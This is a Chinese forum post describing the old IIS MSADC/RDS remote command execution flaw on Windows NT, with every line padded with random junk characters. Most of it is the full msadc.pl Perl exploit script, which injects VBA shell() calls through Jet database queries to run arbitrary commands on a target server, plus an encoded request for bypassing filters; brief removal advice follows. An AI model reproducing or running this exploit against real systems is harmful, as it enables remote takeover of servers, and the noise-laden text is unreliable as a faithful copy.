社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167999阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 3n_N^q}  
As{"B  
涉及程序: z>lIZ}  
Microsoft NT server > zA*W<g  
mUA!GzJ~u-  
描述: SR_<3WW  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 h(C@IIO^;G  
]"ou?ot }  
详细: FJQ=611@  
如果你没有时间读详细内容的话,就删除: Uhs/F:E[A  
c:\Program Files\Common Files\System\Msadc\msadcs.dll *{DpNV8"  
有关的安全问题就没有了。 duQ ,6  
#;D@`.#\  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 '2XIeR  
nEHmiG  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 y~Z7sx0  
关于利用ODBC远程漏洞的描述,请参看: ghU~H4[xD  
` {/"?s|  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm qBF6LhR  
Y#[xX2z9  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 D,\hRQ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp *(E]]8o  
?xW,2S  
这里不再论述。 2:oAS  
oZ5 ,y+L4  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: %\^VxM  
L;h|Sk]{  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset e1Q   
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! %-fQ[@5  
L.2!Q3&  
^|%u%UR  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 3!M|Sf<s  
'C7$,H'  
#!perl eHb@qKnf  
# twMDEw#VL  
# MSADC/RDS 'usage' (aka exploit) script [,L>5:T  
# T].Xx`  
# by rain.forest.puppy YJGP8  
# otA'+4\  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me G4rd<V0[D  
# beta test and find errors! m`BE{%  
|BBo  
use Socket; use Getopt::Std; XFSHl[uS1  
getopts("e:vd:h:XR", \%args); +I3j 2u8L  
i0n u5kD+d  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; nT :n>ja  
W#&BU-|2  
if (!defined $args{h} && !defined $args{R}) { &yRR!1n)H  
print qq~ ?U+nR/H:6  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Fe1XczB  
-h <host> = host you want to scan (ip or domain) !?)aZ |r  
-d <seconds> = delay between calls, default 1 second )LAG$Cn  
-X = dump Index Server path table, if available qh|fq b  
-v = verbose `ztp u ~?  
-e = external dictionary file for step 5 X2T_}{  
i&KBMx   
Or a -R will resume a command session } `Cc-X7  
<!=:{&d%  
~; exit;} GC`/\~TM  
;Wgkf_3  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; MzMVs3w|  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} wEZieHw  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} T]x]hQ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Q[Gs%/>  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} MFn\[J`Ra  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } "[ieOFI  
M1=eS@  
if (!defined $args{R}){ $ret = &has_msadc; {>UT'fa-  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 3/y"kl:< -  
:28[k~.bo  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" f}EsS  
. "cmd /c "; =6a=`3r!I  
$in=<STDIN>; chomp $in; !t[;~`d9  
$command="cmd /c " . $in ; qND:LP\_v  
O{p7I&  
if (defined $args{R}) {&load; exit;} e(I;[G +%,  
&z05h<]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; N :OLN[  
&try_btcustmr; 2 ?F?C  
Z.`0  
print "\nStep 2: Trying to make our own DSN..."; 4-BrE&2f  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; rgo!t028^  
(%'`t(<  
print "\nStep 3: Trying known DSNs..."; P~84#5R1  
&known_dsn; z))rk vL%  
>}B53.;.k  
print "\nStep 4: Trying known .mdbs..."; YJ+l \Wb}  
&known_mdb; LJA uTg  
1 F&}e&}c  
if (defined $args{e}){ H2'djZ  
print "\nStep 5: Trying dictionary of DSN names..."; $F1Am%  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } +7{8T{  
oT|:gih5  
print "Sorry Charley...maybe next time?\n"; \0K&2'  
exit; M< H+$}[  
'U,\5jj'Y  
############################################################################## \!"3yd  
Wo  Z@  
sub sendraw { # ripped and modded from whisker 5S[:;o  
sleep($delay); # it's a DoS on the server! At least on mine... x \I uM  
my ($pstr)=@_; kZ;Y/DH  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || IOa@dUh7a,  
die("Socket problems\n"); Wj8WT)cB  
if(connect(S,pack "SnA4x8",2,80,$target)){ ^B8 [B&K  
select(S); $|=1; [b3$em<^JV  
print $pstr; my @in=<S>; 7Y)i>[u3  
select(STDOUT); close(S); V/xjI<,  
return @in; 0+K<;5"63d  
} else { die("Can't connect...\n"); }} 1)5/a5  
;Fd1:"1pP  
############################################################################## /8 y v8  
9VMk?   
sub make_header { # make the HTTP request &;R BG$t  
my $msadc=<<EOT ^9]g5.z:  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 H6Ytp^~>  
User-Agent: ACTIVEDATA _0y]U];ce  
Host: $ip dGUiMix{N  
Content-Length: $clen WHqw=! G  
Connection: Keep-Alive ps^["3e  
|n;5D,r0C  
ADCClientVersion:01.06 C)~%(< D  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 xf?"Q#  
,&g-DC ag  
--!ADM!ROX!YOUR!WORLD! \TLfLqA  
Content-Type: application/x-varg t>Yl= 79,  
Content-Length: $reqlen ix38|G9U  
ol~ tfS  
EOT ~i.rk#{?D  
; $msadc=~s/\n/\r\n/g; :QF`Orb!^  
return $msadc;} KpIY>k  
0d$LUQ't  
############################################################################## h*Mt{A&'.&  
s`pdy$  
sub make_req { # make the RDS request R2Lq??XA=  
my ($switch, $p1, $p2)=@_; xVrLoAw  
my $req=""; my $t1, $t2, $query, $dsn; ]z2x`P^oI  
F$'po#  
if ($switch==1){ # this is the btcustmr.mdb query KO/#t~  
$query="Select * from Customers where City=" . make_shell(); ^)o]hE|  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . @V&HE:P  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} _Ea1;dJmq  
$h}w: AV:  
elsif ($switch==2){ # this is general make table query gB>AYL%o=  
$query="create table AZZ (B int, C varchar(10))"; \mZB*k)+  
$dsn="$p1";} lk` |u$KPz  
8bf@<VTO_  
elsif ($switch==3){ # this is general exploit table query E&Zt<pRf;2  
$query="select * from AZZ where C=" . make_shell(); fl4 0jo]  
$dsn="$p1";} dA<SVk*0Q  
.J=QWfqt  
elsif ($switch==4){ # attempt to hork file info from index server <tm=  
$query="select path from scope()"; +jS<n13T  
$dsn="Provider=MSIDXS;";} '+GY6Ecg  
n<F3&2w  
elsif ($switch==5){ # bad query It VVI"-  
$query="select"; E>:#{%  
$dsn="$p1";} 'e6J&X  
WEoD ?GLS8  
$t1= make_unicode($query); 8Pva]Q  
$t2= make_unicode($dsn); 7jr+jNsowj  
$req = "\x02\x00\x03\x00"; 5k?xBk=<  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8Q0/kG  
$req.= "\x00\x00" . $t1 ; VCT1GsnE  
$req.= "\x08\x00" . pack ("S1", length($t2)); +U>Y.YP  
$req.= "\x00\x00" . $t2 ; \w&R`;b8w  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Iu(]i?Y  
return $req;} @LY[kt6o  
lv~ga2>z  
############################################################################## f(\S +4  
C+_UI x]A  
sub make_shell { # this makes the shell() statement ?0-3J )kW  
return "'|shell(\"$command\")|'";} )TBm?VMe  
y3bL\d1  
############################################################################## +Y2D @K?)  
\?|^w.  
sub make_unicode { # quick little function to convert to unicode 0g Hd{H=  
my ($in)=@_; my $out; Zqv  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } yTNHM_P  
return $out;} B,` `2\B  
69t6lB#;!  
############################################################################## \^!<Y\\  
3Vk\iJ  
sub rdo_success { # checks for RDO return success (this is kludge) uZ+"-Ig  
my (@in) = @_; my $base=content_start(@in); &i6JBZ#~,  
if($in[$base]=~/multipart\/mixed/){ aCi)icn$  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} V2:S 9vO'  
return 0;} I|2dV9y  
 Y=H_U$  
############################################################################## .bRtK+}F#  
E 0OHl  
sub make_dsn { # this makes a DSN for us jw/@]f;N  
my @drives=("c","d","e","f"); m63>P4h?  
print "\nMaking DSN: "; hpq\  
foreach $drive (@drives) { Bsk` e  
print "$drive: "; dp2FC   
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . xCyD0^KY  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" IR&b2FTcU  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ,Ww.W'#P  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; bIzBY+P  
return 0 if $2 eq "404"; # not found/doesn't exist &'/bnN +R  
if($2 eq "200") { 1uEM;O  
foreach $line (@results) { QtcYFf g  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} z uo:yaO  
} return 0;} 2_Zn?#G8dl  
3ly ]DTbz  
############################################################################## P%d3fFzK  
WDr=+=Zj  
sub verify_exists { A'D2uV  
my ($page)=@_; @wVDe\% ,  
my @results=sendraw("GET $page HTTP/1.0\n\n"); J<9}) m  
return $results[0];} #%/Jr 52<  
mi@uX@ #  
############################################################################## iszVM  
 feM(  
sub try_btcustmr { 07\]8^/G  
my @drives=("c","d","e","f"); }h|HT  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .eCUvX`$  
i-4?]h k  
foreach $dir (@dirs) { CUft  
print "$dir -> "; # fun status so you can see progress @Y ?p-&  
foreach $drive (@drives) { 5kHU'D  
print "$drive: "; # ditto j9}.U \  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ]6MXG%  
$reqlenlen=length( "$reqlen" ); =(bTS n  
$clen= 206 + $reqlenlen + $reqlen; \_)mWK,h  
\ >#y*W<  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); <W^>:!?w  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ^e80S^  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} +xU=7chA  
7c<_j55(  
############################################################################## &Gm3  
z)R\WFBW  
sub odbc_error { RF~c/en  
my (@in)=@_; my $base; #8%~u+"N  
my $base = content_start(@in); #wGOlW;R  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this [t*-s1cq  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +JB*1dz>8  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Wi*HLP!lNC  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !nQoz^_`P  
return $in[$base+4].$in[$base+5].$in[$base+6];} `2j"Z.=  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 3qDuF  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . D}2$n?~+  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} PpSQf14,  
R#ya9GN{  
############################################################################## qg*xdefQ%  
\=(U tro  
sub verbose { DtZ7UX\P  
my ($in)=@_; m$g{&  
return if !$verbose; n0uL^{B  
print STDOUT "\n$in\n";} VT;cz6"6b4  
!F2JT@6  
############################################################################## kPSi6ci  
>/.Ae8I)  
sub save { bV*q~ @xh  
my ($p1, $p2, $p3, $p4)=@_; B"t4{1/  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; jz I,B  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; C2L=i3R  
close OUT;} JycC\s+%E  
-(E-yC u  
############################################################################## Q.f D3g  
+X>Aj=#  
sub load { o<g1;  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Wa iM\h?=#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ciN*gwI)  
@p=<IN>; close(IN); cejD(!MKe  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); "Fxw"I <  
$target= inet_aton($ip) || die("inet_aton problems"); b\xse2#  
print "Resuming to $ip ..."; b^<7@tY  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; J& D0,cuk  
if($p[1]==1) { j^Ln\N]^  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; iUS?xKN$~-  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; F[X;A\  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ALKzR433/  
if (rdo_success(@results)){print "Success!\n";}  >6'brb  
else { print "failed\n"; verbose(odbc_error(@results));}} f=>ii v  
elsif ($p[1]==3){ V)mi1H|m  
if(run_query("$p[3]")){ T 0?9F2  
print "Success!\n";} else { print "failed\n"; }} (V`ddP-  
elsif ($p[1]==4){ ~b 9fk)z!  
if(run_query($drvst . "$p[3]")){ .zJZ*\2ob  
print "Success!\n"; } else { print "failed\n"; }} WwLV^m]  
exit;} sw,p6T[  
9n3.Ar  
############################################################################## djDE0-QxcR  
g7K<"Z {M  
sub create_table { Jx8DVjy  
my ($in)=@_; Z}>+!Z  
$reqlen=length( make_req(2,$in,"") ) - 28; )2b bG4:N  
$reqlenlen=length( "$reqlen" ); ?'OL2 ~  
$clen= 206 + $reqlenlen + $reqlen; fBP J8VY  
my @results=sendraw(make_header() . make_req(2,$in,"")); 92^Dn`g  
return 1 if rdo_success(@results); ?9z1'6  
my $temp= odbc_error(@results); verbose($temp); {InW%qSn_  
return 1 if $temp=~/Table 'AZZ' already exists/; @Z@S;RWSU  
return 0;} #/WjKr n  
/$UWTq/C7  
############################################################################## l^v,X%{Iz  
lH>6;sE  
sub known_dsn { 9YwS"~Q =w  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go C+-sf  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", q94*2@KV  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 2VkA!o4nP  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); K$-|7tJon  
22D,,nC0+=  
foreach $dSn (@dsns) { .U,>Qn4/  
print "."; eie u|_  
next if (!is_access("DSN=$dSn")); ZIaFvm&q7Z  
if(create_table("DSN=$dSn")){ ?M04 cvm  
print "$dSn successful\n"; -raZ6?Zjc  
if(run_query("DSN=$dSn")){ 5:l"*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { dg;E,'e_ p  
print "Something's borked. Use verbose next time\n";}}} print "\n";} P~@I`r567  
'WoB\y569  
############################################################################## P1"g62R  
9~}8?kPNw=  
sub is_access { /O$)m[  
my ($in)=@_; 6`)Ss5jzk  
$reqlen=length( make_req(5,$in,"") ) - 28; u6P U(f  
$reqlenlen=length( "$reqlen" ); #s-li b  
$clen= 206 + $reqlenlen + $reqlen; ''CowI  
my @results=sendraw(make_header() . make_req(5,$in,"")); QtfLJ5vi  
my $temp= odbc_error(@results); PML84*K -  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ;}Acy VV  
return 0;} 2spK#0n.HV  
CfHPJ: Qo[  
############################################################################## +9_E+H'?!  
}-paGM@'Nd  
sub run_query { fq0[7Yb  
my ($in)=@_; \V9);KAOj  
$reqlen=length( make_req(3,$in,"") ) - 28; -257g;  
$reqlenlen=length( "$reqlen" ); 3$kElq[  
$clen= 206 + $reqlenlen + $reqlen; bt?)ryu  
my @results=sendraw(make_header() . make_req(3,$in,"")); ~;nW+S$o  
return 1 if rdo_success(@results); [,mcvO;  
my $temp= odbc_error(@results); verbose($temp); 9S)A6]  
return 0;} :']O4v#^  
E=~Ahkg  
############################################################################## ZmJHLn[ B  
r A9Rz^;xa  
sub known_mdb { 9!Vp-bo  
my @drives=("c","d","e","f","g"); `O}bPwa{>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); '8fh(`  
my $dir, $drive, $mdb; 'a enh j  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; {>.qo<k  
XO J@-^BX  
# this is sparse, because I don't know of many Rj,M|9Y)o  
my @sysmdbs=( "\\catroot\\icatalog.mdb", r7N% onx  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", #>qA&*+{n  
"\\system32\\certmdb.mdb", ,NQ>,}a0  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% x:IY6  l  
u9dL-Nr`  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", JPS<e*5  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 2)>Ty4*  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", LY(h>`  
"\\cfusion\\cfapps\\security\\realm_.mdb", AmT*{Fz8  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", tqK}KL  
"\\cfusion\\database\\cfexamples.mdb", n0ls a@l  
"\\cfusion\\database\\cfsnippets.mdb", IN94[yW{1  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ~7&O[  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", y1hJVYE2  
"\\cfusion\\brighttiger\\database\\cleam.mdb", .(zZTyZr  
"\\cfusion\\database\\smpolicy.mdb", 7)a u#K6  
"\\cfusion\\database\cypress.mdb", Cl3hpqv1I  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", BGVy \F<  
"\\website\\cgi-win\\dbsample.mdb", &8 4Izs/[  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", [{9&KjI0K  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Q@#Gm9m  
); #these are just G3t 4$3|  
foreach $drive (@drives) { XY`2>7  
foreach $dir (@dirs){ .Dg'MM BM  
foreach $mdb (@sysmdbs) { x$tzq+N  
print "."; g].hL  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ =;A~$[g  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ~b{j`T  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ u+uu?.bM  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; auQfWO[ u  
} else { print "Something's borked. Use verbose next time\n"; }}}}} p=J9N-EM  
We*c_;@<  
foreach $drive (@drives) { Q Ph6 p3bg  
foreach $mdb (@mdbs) { nzORG  
print "."; ecy41y'~:  
if(create_table($drv . $drive . $dir . $mdb)){ &,@wLy^ T  
print "\n" . $drive . $dir . $mdb . " successful\n"; 5Ai$1'*p  
if(run_query($drv . $drive . $dir . $mdb)){ J'y*>dW  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; @;@Wt`(2a  
} else { print "Something's borked. Use verbose next time\n"; }}}} N\ dr_   
} SvGs?nUU  
s *1%I$=@  
############################################################################## E|Z7art  
._z[T@!9  
sub hork_idx { pvJPMx  
print "\nAttempting to dump Index Server tables...\n"; S~DY1e54GF  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ihdtq  
$reqlen=length( make_req(4,"","") ) - 28; b`sph%&  
$reqlenlen=length( "$reqlen" ); EaGS}=qY5  
$clen= 206 + $reqlenlen + $reqlen; Y^f12%  
my @results=sendraw2(make_header() . make_req(4,"","")); Gk5SG_o  
if (rdo_success(@results)){ &g<`i{_  
my $max=@results; my $c; my %d; Jv=G3=.  
for($c=19; $c<$max; $c++){ XS/5y(W  
$results[$c]=~s/\x00//g; 1)m&6:!b  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; C\dlQQ  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; F /:2+  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; >#\&%0OZw  
$d{"$1$2"}="";} TID0x/j"K5  
foreach $c (keys %d){ print "$c\n"; } JP<Z3 A2q  
} else {print "Index server doesn't seem to be installed.\n"; }} ~0>{PD$@  
<=,KP)   
############################################################################## >h m<$3  
wc'K=;c  
sub dsn_dict { lCyp&b#(L  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); \W6 |un  
while(<IN>){ "i_}\p.,X  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; g#ONtY@*U  
next if (!is_access("DSN=$dSn")); F- n1J?4b  
if(create_table("DSN=$dSn")){ AFSFXPl "  
print "$dSn successful\n"; ?k:i3$  
if(run_query("DSN=$dSn")){ QYL ';  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { BOp&s>hI  
print "Something's borked. Use verbose next time\n";}}} cAc i2e  
print "\n"; close(IN);} ~L'}!' &.  
v+*l|!v  
############################################################################## }`9}Q O  
r8~U@$BBK  
sub sendraw2 { # ripped and modded from whisker 2O5yS  
sleep($delay); # it's a DoS on the server! At least on mine... Aq{m42EAj  
my ($pstr)=@_; P!";$]+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _9Ig`?<>I  
die("Socket problems\n"); t%AW0#TZ  
if(connect(S,pack "SnA4x8",2,80,$target)){ *7I=vro  
print "Connected. Getting data"; s"|N-A=cS  
open(OUT,">raw.out"); my @in; +6{KrREX)  
select(S); $|=1; print $pstr; ngJES` 0d  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} oB$D&  
close(OUT); select(STDOUT); close(S); return @in; i4"xvL K4  
} else { die("Can't connect...\n"); }} r(yb%p+  
2aN  
############################################################################## S-h1p`  
ud-.R~f{e  
sub content_start { # this will take in the server headers 1q! 6Sny@  
my (@in)=@_; my $c; GJqSNi}  
for ($c=1;$c<500;$c++) { ~I>B5^3  
if($in[$c] =~/^\x0d\x0a/){ U9xFQ=$ 2  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } @]HV:7<q  
else { return $c+1; }}} g5to0  
return -1;} # it should never get here actually \?fl%r2  
m-a _<xo  
############################################################################## ?^&!/,  
ls6ywLP{  
sub funky { s^9N7'  
my (@in)=@_; my $error=odbc_error(@in); "FaG5X(  
if($error=~/ADO could not find the specified provider/){ o=_4v ^  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; <..%@]+  
exit;} f|FQd3o)  
if($error=~/A Handler is required/){ _wf"E(c3D  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9bXU!l[  
exit;} }~-)31e'`  
if($error=~/specified Handler has denied Access/){  \'"q6y  
print "\nServer has custom handler filters (they most likely are patched)\n"; !U/: !e`N  
exit;}} (.!q~G  
N1(}3O  
############################################################################## SJ7>*Sa(u$  
j &Ayk*  
sub has_msadc { i4!n Oyk  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ^B?koU l^  
my $base=content_start(@results); 0tB9X9:,  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); S-yd-MtQp  
return 0;} xMhR;lKY  
YKl!M/  
######################## ,^o^@SI)   
mXF pGo5 s  
A Sy7")5  
解决方案: zAB-kE\ )  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll [;5HI'px  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 e@^}y4 C  
G';oM;~/|  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五